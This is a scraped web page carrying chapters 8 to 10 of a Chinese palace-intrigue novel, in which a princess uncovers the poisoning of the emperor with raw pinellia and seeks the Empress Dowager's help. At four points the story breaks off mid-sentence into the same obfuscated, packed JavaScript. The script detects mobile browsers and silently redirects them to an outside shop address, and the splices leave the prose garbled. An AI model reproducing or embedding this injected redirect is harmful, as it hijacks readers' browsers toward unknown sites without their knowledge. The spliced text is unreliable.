贵妃娘娘微笑着点点头。 梳发姑姑笑着说吉祥话:“只要公主和驸马日子过得圆圆满满,便是再名贵的香料也是比不上的。” 姑姑将发髻梳成,宫女走上前来,为乔景芝戴上了珠冠。珠冠以金银丝做冠胎,穿上珍珠,以珠玑宝翠点缀其间,华贵十分。 衣饰都穿戴齐整,乔景芝起身正要拜别堂上的贵妃,被虚虚扶住了胳膊。 贵妃娘娘起身,在乔景芝发间插上了一支沉甸甸的累丝金凤钗。 她牵起乔景芝的手,怜爱地上下看了又看。 大喜的日子,乔景芝难得画了艳丽的妆容,唇瓣嫣红,长眉入鬓,衬得她面如满月、气度雍容。 贵妃露出有些酸涩的笑来:“公主如此漂亮,本宫能看见公主成亲已经是心满意足了。” 门外太监有匆匆来报:“皇上时疾未愈,皇后娘娘日日御前侍奉,也是分身乏术。刚刚娘娘传了口谕,说心念公主大婚,只是眼下不便,不必拜别君后了。虽说坏了规矩,但是皇后娘娘做主,为公主又添了十八抬的嫁妆,望公主莫要记挂。” 贵妃娘娘皱着眉问道:“皇上竟病重到连观礼也不能够了吗?” 太监未接话,只是拜道:“娘娘,吉时已到,该送公主上轿了。” 贵妃无奈,却不能再说什么,只能依依不舍地点了点头,看着候着的玉竹为乔景芝盖上了绣着鸳鸯花样的盖头。 玉竹托着乔景芝的手,将她引到了宫门口静候的轿辇前。 负责开路的士兵已经渐渐往城中走去了,轿辇前候着两排骑马的宫女等着启程。 玉竹扶起门帘,帘上坠着的珠玉叮当作响。 乔景芝微微提起裙边,迈步坐进了轿子。 “驸马已经在东华门候着了。”玉竹低声道。 乔景芝微不可察地点了点头。 轿辇被抬起。她在轿中坐直了身子,将帘子掀起一条缝,看着绵延的车马浩浩荡荡地驶向城门。 东华门口,驸马领着迎亲的侍从坐在枣红大马上,胸前系着大红绣球。 看见公主的轿辇,他翻身下马,隔着帘子向乔景芝行礼道:“臣恭迎公主凤驾,奉殿下归府。请殿下启程。” “走吧。”乔景芝指节扣了扣窗棱,示意启程。 皇后准许,公主不必在御前行四拜大礼,驸马的父母也不在京城,也不必再拜公婆。 二人在公主府奉了宗庙,拜了天地,原本繁琐的礼节便算是结束了。 驸马在堂前招待观礼的宾客,乔景芝一人回了房中。她头顶盖头,手执金线红扇,静静地坐在床沿等待。 虽说公主府一早建成,但为了大婚,皇上特许向东扩建了两间屋子,作为驸马居所。 这件寝屋刚建成不满一月,呼吸间还能嗅到新木的香气。 房间的陈设布置她并未过问,是她准许后杨嘉时带着下人自己去库房挑选的。 乔景芝坐了一会,觉得有些无趣。她静静听了听,感觉屋外无人,便自己将盖头掀起一角,打量起这个房间。 床架上挂着的是层层叠叠的红色幔帐,帐角坠着金线络子。 四周墙壁都贴了“喜”字,房间正中摆放着一张红木梨花桌,铺着的也是金线绣的大红桌布。桌子正中放着“早生贵子”的果盘,左右两侧燃着一对龙凤花烛。烛火跳动,映着她的面庞也明明灭灭。 “没甚意趣。”乔景芝放下了手,将手中的红扇捻着转动起来,继续等着。 “我原本可是将这房间好好布置了一番。只是为了婚礼布置,连挂墙上的《寒江雪钓图》都被你那侍女收起来了。”杨嘉时推门走进来,身后跟着的是端着合卺酒杯的侍女。 他身上有些酒气,但目光还算是清明。 “侍女说......说那图,画得不吉利。”他有些含糊地补充。 他难得见乔景芝如此文静的样子,低笑看了一会,才拿起了红杆,将乔景芝头上的盖头挑落。 侍女端上酒杯,二人喝了交杯酒。 杨嘉时终于是晕乎乎地坐在了乔景芝身边。 他的脸凑近乔景芝,细细观摩道:“你今日瞧着倒是顺眼了许多。” 服侍的侍女见两人气氛暧昧,都嘻嘻笑着,收拾了东西退下,将门带上了。 乔景芝见人都走了,一脸不耐,一巴掌将他的脸拍开道:“装什么登徒子。别浪费时间了,让你查的事情你去查了没有?” 杨嘉时揉了揉被拍的脸,也不恼,笑道:“这么心急?今日可是我们新婚,如此良辰,竟要讨论那些严肃的事情?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570153|204898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “别卖关子了。”乔景芝知道他故意吊自己的胃口,狠狠瞪了他一眼道,“皇帝病发突然,半点征兆也没有。半月前只是咳疾免了早朝,这几日却是连观礼都做不到了。” 杨嘉时正色回答道:“公主大婚,侍卫都被调配到城里开路,宫中的巡查便宽松了不少。养心殿附近不让闲杂人等靠近,我迷晕了送药的小太监,才进了殿内。” “所以呢?父皇确实是病得不能起身了?” “皇上榻前有皇后和太医侍奉着,我没能近身细看。只是他面色不佳,躺在床上意识不大清醒,确实是重病的样子。”杨嘉时摸着下巴细忖。 “那你查出来什么异样了吗?” “养心殿守卫森严,我装作小太监也不便久留。只是带出了一些碗底药渣,不知道能不能查出些什么。” 说着,杨嘉时从衣襟处掏出一个布包。布包里装的是褐色的药渣,分量不多,难以辨别。 乔景芝伸头看了看,用食指沾了些余药沫放入口中,摇摇头道:“我对草药知识涉猎不深,只能尝出黄芪、当归这些,也都是些安神补气的常用药材,是否有问题还得请大夫来看。 “只是这些宫里带出的东西,不能再送回太医院。只能再找宫外的大夫看看。” 杨嘉时点头,将布包重新包好,妥帖地收起来。 “不过你动作倒是快,能赶在宫门落锁前回公主府。我原本还在想,等夜深了,再如何找机会把你捞出来。” “皇后娘娘当时点了人,给你抬添置的嫁妆。我正好交了送药的差事,便让我也来公主府了。” 乔景芝嗤笑道:“说是天恩,可是只给了十八抬嫁妆,这些零碎加起来都抵不上她一套头面值钱。连表面功夫都不做,就这样将我打发了,实在是可笑。” 杨嘉时懒懒躺在床上道:“指不定皇上病重驾崩,三皇子就顺水推舟当上了新皇,到时候你再如何不服不忿,也不过是皇后母子砧板上的鱼肉罢了。” 乔景芝斜睨他,实在是气不过他满嘴胡言,狠狠掐了一把他的腰泄愤道:“皇上只要有半分神智,便不会让三皇子那个草包继承大统。现在就敢说这些大逆不道的话,小心本宫找人治你的死罪。” 杨嘉时笑着躲开,轻轻握住她的手腕,问起下午的情况:“我让平安代替我迎娶公主。我知道他一向稳妥,也不怕他出纰漏,只是事关重大,难免担心。没出什么意外吧?” 乔景芝摇摇头道:“平安与你身形相似,加之你在京城不常在人前露面,倒也没人看出异样。” “只是委屈了你,毕竟堂堂一国公主,竟沦落到与侍卫拜堂成亲......” 乔景芝抽出手,又一把狠狠掐在他腰上:“你若是想故意打趣,那就趁早闭嘴。本公主不在乎这些小节。皇上病重,关乎你我家族未来。宫内戒律森严,只有今日能有些空子可钻。事从权宜,不要被一些细枝末节的小事绊住了手脚。” “如此就好。” 8. 布局 既已成婚,就没有放着人不用的理由。 大婚后,乔景芝理所当然地将府内琐碎杂事交由杨嘉时处理,自己则花了更多心思在女学的课业上。 她未曾在女学露面,只是让书墨定期将学生习作拿来给她检查。 “殿下,这些是这个月的习字。” 书墨抱着一垛纸进了书房,放在了乔景芝手边道:“大部分孩子都能写一些简单的字了,自己的名字也会写了。几个有基础的除了三字经,还写了其他的内容练习。先生从每个人的习作里挑了些让我带来。” 乔景芝逐张翻阅,点点头道:“都不错,让先生就这样带着她们慢慢学。” 又翻到一张习作,纸上的字小巧娟秀,写的是一剂药方。 “这个学生字写的不错,她竟懂得药理吗?”乔景芝问道。 书墨看了一眼笑着说:“这是西城沈攸沈大夫的独女,沈家禾写的。她也是少数几个之前学过写字的,先生对她的评价也好。” “补血化痰汤,需黄芪五钱,当归三钱,生半夏三钱,陈皮、茯苓、炙甘草各二钱。”乔景芝念着纸上内容,新奇道,“单看这些名称写的倒没错,只是这生半夏应写作法半夏。生半夏有毒,不能用于煎药。” 书墨笑道:“沈家姑娘大意,竟让救人的方子变成害人的方子了。” “害人的方子?”乔景芝若有所感,重新细细读这道方子,“黄芪,当归……” “书墨,你去西城将沈大夫喊来府上看诊,就说本宫身体不适,劳烦大夫跑一趟。”乔景芝吩咐道。 书墨有些不明所以,但还是应下了。 刚准备出门,乔景芝又将她叫住:“你再喊人将驸马叫来书房,让他把‘那份药渣’也带来。” 杨嘉时先到了书房,乔景芝让他将门关上,拿出之前的那包药渣。 她在药渣里翻找出了一种淡黄的球形药材,放入口中嚼了一下,立马吐了出来。 “半夏须炮制之后才能入药,否则有毒,于肠胃有害。生半夏未经炮制,嚼着刺口。只是它炮制前后形状不同,因而我之前未能认出。若是皇上的病有蹊跷,这大概就是原因了。” 说话间,书房的门被敲响。 “殿下,奴婢将沈攸大夫带来了。” 沈攸穿着青色长衣,挎着一个旧药箱。他白发苍苍,面容和善,看上去颇为沉稳。 “本宫患咳疾,你看看这个方子能用吗?”乔景芝将沈家禾写的药方推到了沈攸面前。 沈攸细细看过道:“这是益气补血、燥湿化痰的方子。若是咳痰白稀,则可用;若是阴虚燥咳,则与方中的半夏相冲,不宜用这个方子。” 乔景芝指了指桌上的药渣,问道:“你再看看,这是根据那个方子煎出来的药吗?” 沈攸接过药渣,挑选了几味药材看过,道:“没错,药材都对得上。只是这半夏是生半夏,未经炮制,不应当直接煎煮入药。” 乔景芝点点头,开门见山道:“我听说皇上患疾,太医院使了浑身解数也不能让他病情好转,于是请过民间的大夫一同看诊。你医术高明,去看过皇上的病吗?” 沈攸撩袍跪下,深深拜道:“禀公主,这药方确实是老奴写下的。老奴自知死罪,只是老奴的家人都在京城,实在没有办法不这么做。” “哦?”乔景芝静静地看着匍匐在地的老人,问道:“你若是因药方无用认罪,那太医院的人都该死罪了,又何须这么慌张呢?” 沈攸的头深深低下,叩在地面道:“药方是经太医院申过的,并没有什么问题。只是这药方中的生半夏,是有人专门找老奴要了去,带去宫中,替换了原本的法半夏,掺在药材里的。” “你倒认得快。”乔景芝冷哼道,“原本这事做得天衣无缝,只是你女儿将错的药方记下,交来了公主府。” “是……是老奴让她记下的。”沈攸答道。 “什么意思?” 沈攸又拜道:“老奴年事已高,老来得子,生了家禾。老奴知道自己时日不多,正好公主您找读书识礼的姑娘伺候,老奴觉得是个好差事,就将她送来了。 “两月前老奴被召去宫内为皇上请脉,回来后桌上便多了一张纸条和一块金锭,让老奴备下足量生半夏,每半月差人来取,之后皇上便每况愈下了。老奴知道此事重大,不能声张,只能照办。 “家禾说,公主仁厚,老奴便教了她错误的方子。想着,若是公主确实如小女所说的那样对姑娘的习作上心,或许能发现这件事;若是未能发现,也就当做是天意了。” “你倒是良心未泯。只是你竟然想借本宫的嘴去揭发这件事。不知道你有几个脑袋,敢利用本宫?” 乔景芝一拍桌子,沈攸抖了一下,颤颤巍巍回道:“老奴深知自己给出的半夏损伤龙体,死不足惜。只是老奴也是被迫,实在是走投无路,才想到向公主传递消息。老奴愿意以死折罪,只是家禾她尚且年幼,毕竟无辜……” “来取药材的是什么人?”乔景芝打断他。 “取药的人让老奴在每月十五、三十的时候,将药材放在偏门木桶内,他自行来取。不过,不知道是什么时辰取走的,也没有与他见过面。” 乔景芝轻哼一声:“你倒是机灵,知道不该看的不看。你且回去,继续守好你的医馆,一切照常。这件事本宫知道了,后续本宫会再找你问话。” 沈攸起身,喏喏应下。 杨嘉时一直坐在一旁看着,见沈攸走后才起身,将桌上的药渣和药方收好。 “你将他吓唬成这样,不怕他不信你?”他问站在桌边沉思的乔景芝。 “我只有这么不留情面,他才会信我。”乔景芝道,“我不知道他是如何分辨出不是我下的毒,又或者他敢向公主府传消息,是已经知道是谁下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570154|204898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手了。皇上被人下毒是国事,是抄九族的重罪,再怎么严肃也不为过。我若是和颜悦色地和他交谈,他反而该觉得我是共犯,在套他话了。” “那你如今打算怎么办?”杨嘉时饶有兴趣地问她。 “沈攸说每月十五和三十会有人来取走药材,也没几日了,那就先安排人把取药的人抓住。”乔景芝唤来书墨,吩咐道。 书墨点点头,点了两个身手矫健的侍卫,让他们扮作做事的伙计,时时盯着沈攸家的偏门。 事情都安排妥当,乔景芝转头对坐在一旁悠哉悠哉的杨嘉时道:“喊你来除了为了药方,还有一件事。” 说着,她从书架暗格中取出一封信。 “你父亲的回信今日到了,我还没看。”乔景芝将信递给了杨嘉时,示意他自己打开,“你来京城时与三皇子私联,收到的西南有内奸的情报,想必他已经知道了。” 杨嘉时皱着眉头将信看完,长吐了一口气。 “怎么说的?”乔景芝见他面色不佳,挑眉询问。 “父亲把我骂了一顿,说我不该入京不报还与皇子私传消息,说这是大逆不道、藐视天恩,下次见了面要抽我鞭子……”杨嘉时无奈苦笑,摸了摸后脑勺。 “杨将军倒是性情,我竟不知他对你如此严苛。”乔景芝嘲笑道。 “你如何不知?当年你被皇上罚板子禁足,父亲为了敬谢天恩,勒令我拖着病体跑了十里。你不能出门,还专门写信,托人送出来嘲笑我。”杨嘉时奇怪地看着乔景芝道,“你当时还说感谢上苍赐给我了一位‘刚正不阿’的好父亲。” 乔景芝哽住,她不知道昭华公主与杨嘉时还有这一段精彩往事。 她端起茶杯浅啜了一口,用口渴掩盖自己的心虚,生硬地转移了话题:“你父亲忠心侍主,只是教出你这么个阳奉阴违的儿子,实在可惜。” “父亲他是忠心,可他实在不擅长朝堂的那些弯弯绕绕,只在战事上有长处。愚忠不能为家族带来安稳,不藏拙反而会招来猜忌。” 乔景芝想起了皇帝赐婚的原因,默默点头,又问道:“杨将军对内奸的事情,是怎么说的?” “父亲说最近与敌军交战的感觉很奇怪,总觉得他们能提前预知我军的动向。不过每次都是我军占上风,所以并未多想。如今细想来,确实像是有人向外传递消息。他会留意,让我们不必担心。”杨嘉时将信收回信封,补充道。 “就算不管江期的消息来源,只是这个草包既然得了消息,为何偏偏选择直接告诉你,而不是禀报皇上或是上报军机处?”乔景芝对三皇子印象不佳,对他提供的情报存疑。 “他大约是想卖杨家一个人情。军中出了内奸,若是报到御前,皇上必然要处罚。父亲身为军中统帅监管不力、用人不清,是逃脱不了干系的。加之我碰巧应召入京,他大约也没想到我不能回去,便直接告知于我了。” 9. 事发 乔景芝撇撇嘴道:“你心中有决断便好。但是根据我素日和江期相处来看,他不是会谋划的人。不如说,就算他能想到卖杨家人情,日后也做不成什么能用到杨家的大事。” 杨嘉时挑挑眉,不置可否。 这几日,府中的侍卫一直守在沈攸的偏门附近盯梢。或许是未到时间,并未有可疑人士经过。 “今日便是十五了,你派去的两个侍卫大约能带回一些消息。能在药里动手脚,左不过就是能在皇帝身边伺候的。就算抓到了人,也不一定能处置背后主使。你是怎么安排的?”杨嘉时依旧不干正事,抛下要看的庄户名目,隔三差五地跑来书房找乔景芝闲聊。 乔景芝正看着玉竹新递上来的账本,听到杨嘉时的问题,没有回答,又翻了一页。 杨嘉时坐在侧边的椅上剥着花生,见乔景芝无视他,有些不爽,拿起桌上的花生壳丢她。 “覆巢之下无完卵的道理,你都不懂吗?”乔景芝不耐烦地掸去了身上的花生壳,瞪了杨嘉时一眼,“我在前朝并未结党,父皇至少还会顾念父女之情,若是江山易主,是生是死只在他人的一念之间了。” 杨嘉时并不在乎乔景芝回答了他什么,只要她愿意搭理自己就一副高兴的样子。 他从一旁的玉竹手上抢过茶壶,为乔景芝添水道:“看了好一会了,渴了吗?要不歇歇吧?” 乔景芝莫名地看着他道:“你这么殷勤做什么,公主府并未克扣你的俸禄,也没有限制你出入,想要什么、想去哪里都不必过问我。” 杨嘉时笑眯眯道:“我不要什么,只是侍奉公主本就是驸马的职责,不过是为你倒杯茶,怎么就算献殷勤了呢?” 乔景芝实在不知道他如此反常,到底打的什么算盘,只觉得身上麻麻的,像有虫子在爬。 大约是被恶心到了,乔景芝心想。 但是看他忙前忙后倒也热闹,便也没有阻拦,就随他去了。 派去的两名侍卫身手是极好的。乔景芝猜测,取药的人大约会在天黑之后露面,便吩咐他们入夜后找个隐蔽的地方藏起来,尽量留活口,方便回来审问。 只是过了子时,也未见侍卫传回消息。 “殿下,要派人去看一眼吗?”书墨见乔景芝困得有些恍惚的样子,建议道。 乔景芝犹豫了一下,点点头道:“找个机灵一点的远远看着,莫要打草惊蛇。” 重新派出的人不到半个时辰便慌慌张张地回来了。他连话都说不清楚,结结巴巴道:“殿……殿下!那两名侍卫……被杀了,在沈攸家的偏门口!像是用刀砍的,满身满脸都是血……” “什么!”乔景芝猛地拍了桌子,怒气冲冲地在书房里踱步,“天子脚下,还有没有王法,竟敢如此挑衅,直接对本宫的人下手!” “公主,那现在该怎么办呀?”书墨焦急地问道。 “既然他没想着遮掩,那本宫就把事情闹大。”乔景芝冷静下来,吩咐跪坐在地上,六神无主的侍从道,“你去报官。就说本宫今夜身子不适,想着时辰太晚了,宫门已经落锁,不便找太医院的人来看。命人去找沈大夫,侍从却被贼人杀害。” 那侍从想站起来,却因腿脚发软一时使不上劲,有些滑稽地瘫在地上。 “让平安去吧,他会点功夫,再遇贼人,就算打不过,也是能逃脱的。”杨嘉时进了书房,提议道。 乔景芝叹了口气,点头同意了。 “这个时辰了,你怎么还不休息?”见杨嘉时出现,乔景芝有些奇怪。 “本是歇下了,刚听见有吵闹的动静,一时不放心,便来看看。”杨嘉时将衣带系好,看他样子,确实是刚从榻上起身,衣服还没穿戴整齐。 乔景芝有些狐疑地撇了他一眼———书房离驸马寝殿并不挨着,这些说话的声音按理也不至于将他吵醒。 不过今夜总归不会太平,报官之后还有更多需要处理的事情,他愿意来帮忙,于自己也是好事。 接到了报案,知县急匆匆地赶到了公主府回话:“禀公主,仵作已经将两具尸体带去检验了,大约两三个时辰便能……” “能查出凶手是谁吗?”乔景芝打断了知县的话。 “这……夜深无人经过,没人看见凶手的样貌。其他的,得小的查验之后才能知道有无线索。” 乔景芝挥了挥手,让他下去办事,知县喏喏退下了。 报案的平安等知县离开后进了书房,向乔景芝行礼后递上了一个布包:“殿下,这是小的报案时,帮他们搬尸体,从尸体手中取出的东西。” 乔景芝将布包打开,是一块墨绿龙纹腰牌,上面还沾着血迹。 “禀殿下,小的看了一眼尸体。他们应该是经历了打斗之后,被刀砍伤身亡。这块腰牌大约是从凶手身上扯下的。小的不知道知县是否可信,便私留了下来,交给公主。” 乔景芝点头称赞道:“你做事心细。这块腰牌是皇上御赐的,有了这块腰牌,就算宫门落了锁,也能从侧门破格进入。我知道的,便只有二皇子和三皇子各持一枚。” “那下手的人岂不就是他们二人之中的一个了?”杨嘉时接话道。 “二皇子长期在西北领军守关,原本久居边疆。可是圣上病重,半月前他便回京等待诏令。虽说圣上患疾已久,时间不大对得上,但他亦有在京城为官的同僚和部下,能够里应外合。 “三皇子虽然一直在京城,但是……我总觉得他做不成这种谋逆的大事。”乔景芝手中摩挲着那块木牌,一寸寸摸过上面的纹理,分析道。 “我还是想不通。大皇子年幼早逝,皇帝子嗣不多,素日里待他们也不薄,二人看上去都没有下手毒害的理由。”她放弃了,将那块腰牌收进了书柜的暗格。 “我倒认为,公主不必费心思分析出谁是凶手。公主府深夜报官,想必凶手也已知道公主发现了生半夏的事情。他或许会再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570155|204898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 采取行动,恐怕下一步是要灭沈攸的口,届时,我们可以来一招瓮中捉鳖。”杨嘉时见乔景芝苦恼,缓声建议。 晨光熹微,乔景芝坐在寝殿榻上,还没有睡。 她深觉宫中将有异变,无论是二皇子或是三皇子都是极为重要的角色。为了站稳脚跟,她需要理清盘根错节的利益关系。 乔景芝成为替身之后未与二皇子打过照面,便想向玉竹将关于二皇子的事都问个明白,防止之后大意,出了差池。 “公主,二皇子母亲位份不高,只是个贵人。她家世不显赫,年纪轻轻便病逝了。所以二皇子没有母族照应,不大受宠,也不常与后宫往来。 “奴婢只知道,他十六岁便向皇上请命去西北守关,战绩倒是不俗,受了皇上几次嘉奖,如今在军中也算是有头有脸的人物。只是,关于他的性格品行之类实在是想不出什么了。” 玉竹一夜未眠,实在是困得没有办法。 “公主……天亮了。”她提醒道。 “噢,抱歉,实在是没注意。辛苦你了,那你先下去休息吧。”乔景芝疲倦地捏了捏额角,“对了,那两个侍卫……你差人去给他们家里人送些银两吧,平日也记得多照看些。” 玉竹愣了愣,点头应是。 院内已有鸟雀开始鸣叫。 乔景芝心绪纷乱,已经熬得没了困意,索性去院里坐着醒神。 “公主好雅致,这么早便起来观鸟。”杨嘉时踱着步子进了院门。他大概也是没怎么休息,眼下有淡淡的青黑,但是衣衫齐整,看得出来是精心穿戴过的。 乔景芝累极,已没有力气同他拌嘴,挥了挥手让他不要找茬。 杨嘉时挥了挥折扇,微微一笑道:“公主这样苦恼,身为驸马却不能分忧,实在是在下失职。我倒觉得,与其单打独斗,正面交锋,不如借力打力,用其他的手段破局。” “借力打力?”乔景芝神色恹恹,“皇上病重,连床都起不来,床前更是只有皇后能近身。我还能借助谁的力?” “皇太后虽已皈依佛法,不管前朝后宫之事,但她毕竟是皇帝的生母。不如告诉太后皇帝病重的真相,求她救了皇帝。” “太后?”乔景芝略一思索道,“皇上登基后,太后便迁居在京郊竹海的妙觉寺中,寺外常有重兵把守,常人不得靠近。我就算知道些什么,也不能传到太后的耳中。” 杨嘉时将扇叶“啪”地合起,敲在手心道:“正巧我有一信物,大约可以让你见得太后一面。” 他招了招手,身后平安捧上了一个上锁的小匣子。 匣子打开,内里垫着深红绸缎,缎子上放着一块和田玉制成的长命锁。这块玉油润细腻,不是民间凡品,只可惜玉面上有一道长长的裂痕。 “家父杨崇远年轻时入京,曾救下意外落水的八王爷,也就是太后的幺子。太后将当时八王佩戴的长命锁赐给家父,并承诺以此玉佩可请求她出面相助。” 10. 手谕 乔景芝将木匣接过,狐疑问道:“这可是太后的承诺,你不用于家族,居然拿来交给我救急吗?” 杨嘉时摇头笑道:“我与公主新婚,若是公主不幸失势,唇亡齿寒,在下乃至杨家都会遭受牵连。” 乔景芝点点头,收下了木匣,招呼人备下车马,要立即去妙觉寺拜访太后。 “在下身弱,今日旧疾又犯,不便随公主去拜访太后了。让平安跟着一起去吧,有他照应着,不怕出岔子。” 书墨和玉竹都跟着乔景芝忙了一晚上,乔景芝没将她们带着。想着太后喜静,便只点了另一位侍女随行。 上了马车,乔景芝撑着下巴,有些困顿,但仍计划着之后的安排。 平安坐在车帘外,低声道:“公主,到竹海大约一个时辰的车程,您可以先休息一会。” 马车晃晃悠悠地行驶。出了城门便全是土路了,马车逐渐颠簸起来。 妙觉寺是皇家御用寺庙,平日里的祭祀活动多在寺里进行。它建在京郊,人烟稀少但香火旺盛,并不荒凉。 寺庙四周是层层叠叠的竹林,林中静谧,马车驶入,只听得见咕噜噜的车轮声。 “车里是什么人?”马车被拦下,是寺庙外的守卫。 乔景芝轻轻掀起车窗帘子,露出了半张脸道:“昭华公主,前来拜见太后。” “这……”两名侍卫面面相觑道,“太后喜静,素来不见外客。” “请帮忙通传一下,就说公主得了一块长命玉锁,恳请太后娘娘一同品鉴。” 侍卫犹豫着,其中一位还是去请示了。 留下的侍卫和乔景芝搭话道:“太后娘娘这些日子一直在为皇上祈祷诵经,十分劳累,身子一直不大爽利。小的以为,就算您得了稀世的宝物,太后也不一定会看呢。” 乔景芝颔首,并未接话。 不多时,请示的侍卫便回来了。他行礼道:“太后娘娘允了公主的请求,请公主去云栖殿一叙。” 乔景芝跟着领路的侍从一路步行到了云栖殿。太后已经坐在殿内的蒲团上,看着一册经书。 她年过六十,但是未见老态。她衣着朴素,穿着香色长袍,袍上绣着莲花万寿纹,袍外罩着一件石青色的坎肩。长发用一根玉簪盘起。除了手持的沉香念珠,再无其他首饰。 乔景芝恭敬行礼道:“晚辈江裕拜见太后,敬祝太后身体康健。” 太后抬眼打量乔景芝,微微笑道:“宫外不必讲究这些虚礼。好孩子,上次见你的时候,还是个十岁的小娃娃呢,转眼就这么大了。” 说着,示意身后的嬷嬷在矮桌对面放下了坐垫,让乔景芝坐下。 “好些年没见了,怎么想起来这偏僻的地方找我说话了?”太后合起书,和蔼笑道。 乔景芝见太后不似想象中威仪,面容可亲,说起话来倒像邻家奶奶,不由得放松了一些。 乔景芝微笑回道:“晚辈此次拜见太后,是因为偶然得了一块美玉。听闻是太后旧物,于是便想着归还给您。” 身后侍女递上匣子,乔景芝将匣子推向太后面前。 太后看见匣子愣了神,微微红着眼眶将匣子打开,取出了那块长命锁。 “是杨家公子给你的吧?”太后轻声问道。 “是,杨嘉时是晚辈的驸马。晚辈前些日子与他成婚,听他说了太后娘娘与八王爷母子情深的往事,内心深有感触。” 太后摩挲着长命锁上的裂痕道:“我曾许诺杨家,可以用这块玉换我一次帮助。既然杨家将玉给了你,你又带来见了我,是想要什么?” 乔景芝垂眸沉思片刻,斟酌着开口道:“回太后娘娘的话,晚辈心系父皇病体,觉得父皇的病来势汹汹,有些蹊跷。太医院一直照看着,但一直没有好转。晚辈实在是信不过,前些日子便托了人查验了皇帝的药方,发现有人在药材里做了手脚……” 乔景芝停顿,看着太后的神色。 “哦?”太后没有太大的情绪,她端起面前的茶杯_,轻轻吹去了浮沫,神色淡淡道,“既然有人在皇帝的药里做手脚,那你应当去告知中宫。再不济,你的母妃也是贵妃,何苦大老远来告诉我这么个老太婆呢?” “太后有所不知。晚辈命人候在药馆外,想抓住贼人,只是两名侍从都被杀害了。但是凶手身上的腰牌被留了下来。那腰牌,是皇上赐给两位皇兄,准许他们落锁后可以出入宫门的信物。所以,晚辈猜测……” 太后将茶杯重重敲在碟上,皱着眉冷哼:“你可确定?既然只是二位皇子所有,你怎么笃定拿到的腰牌就确确实实是皇上赐下的原物?” 乔景芝深深拜道:“晚辈不能确定,但皇上赏赐的时候晚辈也在,得以远远地看了一眼。并且晚辈看了那腰牌,做工精致,不是民间匠人能做出的物件。晚辈行事冒进,但这件事不敢赌,担心轻举妄动而打草惊蛇,只能恳请太后娘娘出面探查。” 太后静静听完,面色仍然不佳,但也没再说什么,只是叹了口气。 她抬手唤来身后的嬷嬷,偏头吩咐道:“福安,去请了药王殿的掌药法师,让他随公主进宫为皇上请平安脉吧。” 她捻着手中的珠串,发出哗啦啦的轻响,没有再看乔景芝,也没再说话。 乔景芝知道太后心下不痛快,也无他法,只能默默为她添茶。 请了掌药慧通法师随行,福安将乔景芝送到了寺庙门口。 临上车,她拿出一张纸递给乔景芝道:“公主,这是太后手谕。有了手谕,在宫中行事能方便些。” 乔景芝接下,对着寺庙的方向深深行礼道:“谢太后挂念。” 到了宫中,乔景芝带着慧通法师直接奔向了皇上居住的养心殿。 门外的守卫伸手拦道:“皇上重病,不让旁人探望,公主请回吧。” 乔景芝冷笑,将太后手谕展开道:“本宫可是奉太后之命来为父皇请平安脉的。你们要将太后请的法师拒之门外,让父皇落得个不孝不义的名声吗?” “是谁在外喧哗,不知道皇上生病需要静养吗?大吵大闹不要命了?” 殿内伺候的侍女被说话声惊动,走出来训斥道。 皇后听见了乔景芝的声音,也出来看情况。她卸了珠钗,连日来照顾皇上令她面色憔悴。她将手搭在说话的侍女小臂上,轻拍道:“花屏,莫要对公主无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570156|204898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼。” 尔后又转头对乔景芝道:“公主一片孝心,实在是皇上龙体违和,太医院的人说了需要静养,不宜探望。等过些日子皇上好些了,公主再来吧。” 乔景芝对皇后行礼道:“本宫觉得太医院那帮庸医实在是无能,便求太后写了手谕,请了妙觉寺的慧通法师为皇上请脉。慧通法师医术高明,想必定妙手回春,为娘娘分忧。” 皇后怔愣了一会,面色有些难看,看着手谕不似作假,还是点头同意了:“皇上吃了多少方子也不见起色,身子反而一天比一天地差了。请法师来看看也好,或许真有什么妙处。” 进了房间,皇上正坐在床榻上,被人服侍着喝药。 